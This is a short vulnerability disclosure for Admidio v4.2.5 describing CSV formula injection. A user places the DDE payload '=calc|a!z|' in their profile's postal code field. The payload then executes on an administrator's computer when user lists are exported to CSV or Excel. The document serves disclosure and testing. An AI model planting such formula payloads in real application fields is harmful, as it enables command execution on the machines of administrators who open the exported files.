Exploit Title: admidio v4.2.5 - CSV Injection
Application: admidio
Version: 4.2.5
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 26.04.2023
Author: Mirabbas Ağalarov
Tested on: Windows


2. Technical Details & POC
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Step 1. login as user
step 2. Go to My profile (edit profile) and set postal code  as =calc|a!z| and save (http://localhost/admidio/adm_program/modules/profile/profile_new.php?user_uuid=4b060d07-4e63-429c-a6b7-fc55325e92a2)
step 3. If admin Export users as CSV or excell file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/admidio/adm_program/modules/groups-roles/lists_show.php?rol_ids=2)

payload: =calc|a!z|

Poc video:  https://www.youtube.com/watch?v=iygwj1izSMQ